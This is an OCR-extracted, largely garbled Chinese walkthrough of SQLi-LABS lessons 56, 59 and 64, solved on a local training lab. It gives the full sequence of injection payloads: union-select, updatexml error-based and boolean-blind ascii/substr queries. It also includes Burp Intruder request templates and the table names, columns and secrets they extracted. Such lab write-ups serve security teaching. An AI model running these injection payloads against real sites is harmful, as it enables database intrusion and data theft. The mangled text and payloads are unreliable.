23121677-Vu&F1-6 H 10 H web 1E Mk WP

SQLi-LABS-Less-56
et Rid= 1R R T A 8] B R A

Welcome

You have made : 1 of 14 attempts

RIS, HESHE/RS, Mafsltdasls, AnlfHmREsEA

HiAHRid=1"RE R T EXNF| 5
Welcome

You have made : 2 of 14 attempts

Your Login name:Dumb
Your Password:Dumb

REIERER, WHAEENG 5 BEER5S

A Rid=1")--+22i [ &
Welcome

You have made : 3 of 14 attempts

Your Login name:Dumb
Your Password:Dumb

WR[ETIERER, WHHE )

2238048 F union 73 A\ ?id=1")union select 1,2,3--+%| 31| %1
(f# Fi?id=1")order by 3--+/?id=1")order by 4--+ N2 iR [FIAANEHE, % — RIRIN)



Welcome

You have made : 4 of 14 attempts

Your Login name:Dumb
Your Password:Dumb

BEH =51

f# H ?id=-1') union select 1,2,group_concat(concat(table_name,'~',column_name)) from
information_schema.columns where table_schema='challenges'--+£5 £I| % 44 f1 31 44

Welcome

You have made : 5 of 14 attempts

Your Login name:2
Your Password:1vqrc4alr5~id,1vgrc4alr5~sessid,lvqrc4alr5~secret_ SMB2,1vgrc4alrb5~tryy

15313k 44 1vgrcdalrs
¥4 :secret_SMB2

2 JG B4 F?id=-1") union select 1,2,secret_SMB2 from challenges.1vqrc4alr5--+3 15 Fit4H

Welcome

You have made : 6 of 14 attempts

Your Login name:2
Your Password:tTCMe8dHLBWIPK09Drq3i5dx

FRAF A tTCMe8dHLBWIPKO9Drg3i5dx




{§M payload M payload [RE

1 ?ld=1’

2 ?id=1" SR G5
3 2d=1")-+

4 ?id=1’)order by 3--+ PRI 1%

5 ?id=-1') union select 1,2,group_concat(concat(table_n | 152IZE 415144

ame,'~',column_name)) from information_schema.colu
mns where table_schema='challenges'--+

6 ?id=-1') union select 1,2,secret_ SMB2 from challenge RIS TAEH
s.lvgrcdalr5--+

SQLi-LABS-Less-59

Sk HRid=1 3R S S 1ol 5 LER

Fm
=
1t
e

Welcome

You have made : 1 of 5 attempts

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the
right syntax to use near " LIMIT 0,1' at line 1

RIER TR, EHERS, W MERERETEA

{# 4R 4573 A\ ?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+3k B E 4k [ 44
and iE# updatexml() R4S TEN R EL
{# F] concat(Ox7e,(database()),0x7e) 1EHf H LA~ H IR 24 i Bl FE 4
database() iR 7] 247 £ E 44
--+38 F VR

Welcome

You have made : 2 of 5 attempts

XPATH syntax error: '~challenges~'

1531 £ 44 N’challenges’

{#F?id=1 and updatexml(1,concat(Ox7e,(select group_concat(table_name) from information
_schema.tables where table_schema='challenges'),0x7e),1)--+3 B 24 7 ZE TG £ 44

select group_concat(table_name) & & T £ 44 3| — /N 747 5

from information_schema.tables Mt £ & MR G S

where table_schema='challenges'[[% & £ 1] 24 Aif 545 4 1) %



Welcome

You have made : 3 of 5 attempts

XPATH syntax error: '~43k16pht7z~'

1933 4,'43k16pht7z'

{#F?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from informati
on_schema.columns where table_name='43k16pht7z'),0x7e),1)--+3 B 24 Hi & T 51| 4

& column_name FEHELF 44

M table_name='ycaamd115w' 2 if] information_schema.columns

Welcome

You have made : 4 of 5 attempts

XPATH syntax error: '~id,sessid,secret_OHBY,tryy~'

15314144 secret_OHBY’

{#F?id=1 and updatexml(1,concat(Ox7e,(select group_concat(secret_OHBY) from challenges.
43k16pht7z),0x7e),1)--+3REUF1) %} N Fid4H

Welcome

You have made : 5 of 5 attempts

XPATH syntax error: '~POnnerpYGOnbFnlUqi90zYWq-~"'

13 21| F4%H’POnnerpYGOnbFnIUqQi90zYWq’

By N\ SR ACHE



Welcome

CONGRAILS

{F payload {5 payload [R&
1

?ld=1’ RS S
2 ?id=1 and updatexml(1,concat(Ox7e,(database()),0x7e),1)# | FRELEIE 4

?id=1 and updatexml(1,concat(Ox7e,(select group_concat 3k HU Y | JE T 5 &
(table_name) from information_schema.tables where ta =%

ble_schema='challenges'),0x7e),1)#

4 ?id=1 and updatexml(1,concat(Ox7e,(select group concat 3k HU 4 |l 3 i A 41
(column_name) from information_schema.columns wher = %4
e table_name='43k16pht7z'),0x7e),1)#

5 ?id=1 and updatexml(1,concat(Ox7e,(select group_concat = FkELFI%} M Fk%H
(secret_OHBY) from challenges.43k16pht7z),0x7e),1)#

SQLi-LABS-Less-64
i FH?id=1 £ & 1E6f [B] &

Welcome

You have made : 1 of 130 attempts

Your Login name : Angelina
Your Password : dhakkan

IR 2id=1"-+ ?id=1"--+ ?id=1)--+%52%



Welcome

You have made : 9 of 130 attempts

Your Login name : Angelina
Your Password : dhakkan

S H?id=1))-+BERL IR B &5, TEVEAE R RESVEN, AR EAHER, TiEMEH union
A, HEefEH boolean FEA

BHE FEZFRN challenges FZE@ T+ 45

22iR?id=1)) and length(database())=10--+75 H £k 2 1K BE #5210
223?id=1)) and substr(database(),1,10)="challenges’--+f5 i} E( ¥ £ 44 F- 1 52 H’challenges’

= G @ localhost/SQL/Less-64/?id=1))%20and%20substr(database(),1,10)="challe...

Welcome

You have made: 11 of 130 attempts

Your Login name : Angelina
Your Password : dhakkan

2 JaHH challenge dE FE BL 58 — 1~ 44 K /& ?id=1)) and length((select table_name from inf
ormation_schema.tables where table_schema='challenges' limit 0,1))=10--+

B YR MR KN 10

localhost/SQL/Less-64/?id=1))%20and%20length((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27challenges%27%201imit%200,1))=10--+

Welcome

You have made : 12 of 130 attempts

Your Login name : Angelina
Your Password : dhakkan

B R ki@ ?id=1)) and ((ascii(substr((select table_name from information_schema.tables w
here table_schema='challenges' limit 0,1),x,1)))>?)--+{& ¥k — 4> F13: 15 Hi 45— 7 ascii i3{H
% —17 ascii fi3{H:52 4



25 A ascii 11H:116 t
=47 ascii i9{H:122 z
ZEVYAT ascii 41EH:56 8

S FLAT ascii AB{H:120 x
B/NAL ascii 191E:101 e
AT ascii 141H:101 e
B )\AL ascii i9{H:121 y
B IAL ascii 19E:109 m
41 ascii i5{H:122 2

Welcome

You have made : 90 of 130 attempts

Your Login name : Angelina
Your Password : dhakkan

53R 44 4tz8xeeymz

i@ ?id=1)) and ((ascii(substr((select column_name from information_schema.columns wher
e table_name='4tz8xeeymz' limit n,1),x,1)))>?)--+{&K ¥k — 4> FiE 5 & —47 ascii id{E
A n=0,1,2,3 AP, BIPUASH P 44K

H2 HET S 7 90 RIREANLZ, TR 30 KA 2 DU H PU AN 51 44 FR DA KO B 5% i
{1

FRIM—K?id=1)) and ((ascii(substr((select column_name from information_schema.columns
where table_name='4tz8xeeymz' limit 2,1),1,1)))=115)-+{5 H E =3 RATHFER S, &5 FH
N s, A H AR )% X secret_????

Z JaE# F?id=1)) and (ascii(substr((select secret_KL4Q from challenges.4tz8xeeymz),0,1))=
$1$)--+d 153 HFbHH

PR FE REFESL 10 M FRHEER 09,a-2), /b 60 KR 4B 4 4
TAEGUE 0-9,A2), /b 24 R o BNAREA 15 N FAF(TEH 0-9,2-2,A-2), D TE 1
05 K22k

IR 7R 2 1oga(36% « 621%)~172 IREK, AREAEHFEZET HAbH.

FRAE DL 458 M Ad H burpsuite 3347 82 EVE SRR 1S H AL
(Simizmif i 2k, AN RE 1S HAhEH)
f& F burpsuite &%

1. 27 sQui-lab [ (15 P L300 U &% B0 A5 A1 B3 U 28 AN BE iicfst localhost B {3 ] ipv4
Mok ATV 10



2. BEHNEZA Inturder

3. BIEMA payload

TOCHAEHSNSAAEEE n > payload

4. EPRERNEH I,

5. & & payload 75 [Fl(payload1 HU{E (75 E 1A 1 B AKA B );payload2 #U{E (ascii 1EuFE, EH
48~122))

6. JFEMGHEMFHKERF, ik &K OEMERZ 215 5) ) payload2 N payloadl /7 &
1 ascii i3{E

DL RS — 7

GET /SQL/Less-64/?id=1))%20and%20((ascii(substr((select%20table_name%20from%20informati
on_schema.tables%20where%20table_schema=%27challenges%27%20limit%200,1),$1$,1)))=529)
—+ HTTP/1.1

TR, —HAE R (122-48+1)*10 Ik

Wik (RE 41. Intruder attack of http://localhost - I | X 3
<'") 41. Intruder attack of http://localhost it v #FE v ®
BR s
Y iR BiEfEmE JUEESE i up N
YV OEdE: 8ERE : T
<
ER Payload 1 Payload 2 KE KB EREIER S8 i) o) g-_
| 610 10 108 1907 200 17
579 9 105 1907 200 55
578 8 105 1907 200 32 (9
667 7é 114 1907 200 17 ,
615 5 109 1907 200 56 g;
504 4 98 1907 200 60 &=
703 3 118 1907 200 134
wR o m ;&
= Raw Hex @ n = ﬁs

GET /SQL/Less-64/72id=
1))%20ands20 ((ascii(substr((select$20table name$20froms20information_schema.tables$2Owheret20table schema=$27ch

ges827%201imits200,1),10,1)))=108)——+ HTTP/1.1
2 Host: localhost
sec-—ch-ua: "Not.A/Brand";v="99", "Chromium";v="136"

sec-ch-ua-mobile: 20

sec-ch-ua-platform: "Windows"

Accept-Language: zh-CN,zhjg=0.9

Upgrade-Insecure-Requests: L

¢ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0
Safari/537.36

9 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/si
exchange;v=b3;q=0.7

10 Sec-Fetch-Site: none

11 Sec-Fetch-Mode: navigate

& || | search bl 0B
@&

==

-

&

151 £ 44 f3vbma2riil

GET /SQL/Less-64/?id=1))%20and%20(ascii(substr((select%20column_name%20from%20inform
ation_schema.columns%20where%20table_name=%27f3vbm2riil%27%20limit%202,1),51$,1))=
$2$)-+ HTTP/1.1

TR, — IR (122-48+1)*4 1K



1 wE 1RF 49. Intruder attack of http://localhost — [m] X E

| {*) 49. Intruder attack of http://localhost Wih v wFE v ®
| | =1 fivi=
il
1V s mEsEmE mEREGEE  §
LY uEdE: 8aERE E I
T [ex Payload 1 Payload 2 A RN R @ ke 3 5 |
| 1 78 200 86 1908
138 9 82 200 80 1908
w19 10 52 200 22 1907 )
1 |25 8 54 200 20 1907 )
4 1 48 200 38 1855 2
8 1 49 200 74 1855 %
o[ 92 1 70 200 88 1855
4 9% 1 71 200 36 1855

B O

9334 secret_6R4N

GET /SQL/Less-64/?id=1))%20and%20(ascii(substr((select%20secret_6R4N%20from%20challeng
es.f3vbm2riil),0,1))=$1$)--+ HTTP/1.1
IR, —IER(122-48+1)*15 I

| WE  RT 50. Intruder attack of http://localhost - [m] X E
2 <') 50. Intruder attack of http://localhost I v BF v @
2 SR fivi=1
¥
| Y R BIEREmE WEEIE TS upt § |
1 |
LV iEvE eRERE - |
ER Payload 1 Payload 2 &8 BREBA 2 BN KE H §
£ 1151 15 119 200 19 1908
| 398 14 72 200 67 1908
k| 109 13 54 200 21 1908 e
1100 12 116 200 77 1908 §
843 11 100 200 80 1908 )‘Hﬁ%
330 10 68 200 44 1908 &
é 1193 9 122 200 36 1908
344 8 69 200 65 1908 |
1095 7 116 200 44 1908 {:9‘_}
422 6 74 200 42 1908
1061 5 114 200 53 1908 ﬁs
532 4 81 200 21 1908 |
675 3 90 200 52 1908
514 2 80 200 31 1908
433 1 75 200 45 1908

153F4H: KPzQrltEzDdt6Hw
TR o 130, HN R

iR {#F payload (& payload [&EH

1-9 ?id=1" ?id=1"... H Wi H boolean
EAN




10 ?id=1)) and length(database())=10--+ IRIUE A 2K

11 ?id=1)) and substr(database(),1,10)="challenges’--+ IREUEHE o 44

12 ?id=1)) and length((select table_name from information @ 3KEXFE 4 K
_schema.tables where table_schema='challenges' limit 0O,
1))=10--+

13-90 ?id=1)) and ((ascii(substr((select table_name from infor | 1§H*H&
mation_schema.tables where table_schema='challenges' |
imit 0,1),x,1)))>?)--+

91 ?id=1)) and ((ascii(substr((select column_name from info | 3|28 =% Ky [# &
rmation_schema.columns where table_name='4tz8xeeym %\
Z' limit 2,1),1,1)))=115)--+

92-130 ?id=1)) and ((ascii(substr((select column_name from info | 15 %l4
rmation_schema.columns where table_name='4tz8xeeym
Z' limit 2,1),n,1)))>x)--+

130-200 | ?id=1)) and (ascii(substr((select secret_KL4Q from challe | 15 H5h%A
nges.4tz8xeeymz),0,1))=515)--+

1
2-751

752-1051

1052-217
6

?id=1)) and substr(database(),1,10)="challenges’--+

GET /SQl/Less-64/?id=1))%20and%20((ascii(substr((selec
t%20table_name%20from%20information_schema.tables%
20where%20table_schema=%27challenges%27%20limit%2
00,1),$19,1)))=$2$)--+ HTTP/1.1

GET /SQL/Less-64/?id=1))%20and%20(ascii(substr((select%
20column_name%20from%20information_schema.column
s%20where%20table_name=%27f3vbm2riil%27%20limit%2
02,1),$15,1))=$2S)--+ HTTP/1.1

GET /SQL/Less-64/?id=1))%20and%20(ascii(substr((select%
20secret_6R4N%20from%20challenges.f3vbm?2riil),0,1))=51
$)--+ HTTP/1.1

IREUE P 44
S E 4 f3vbm2riil

53154 secret_6
R4N

SFFEH: KPZQritE
zDdt6HwW




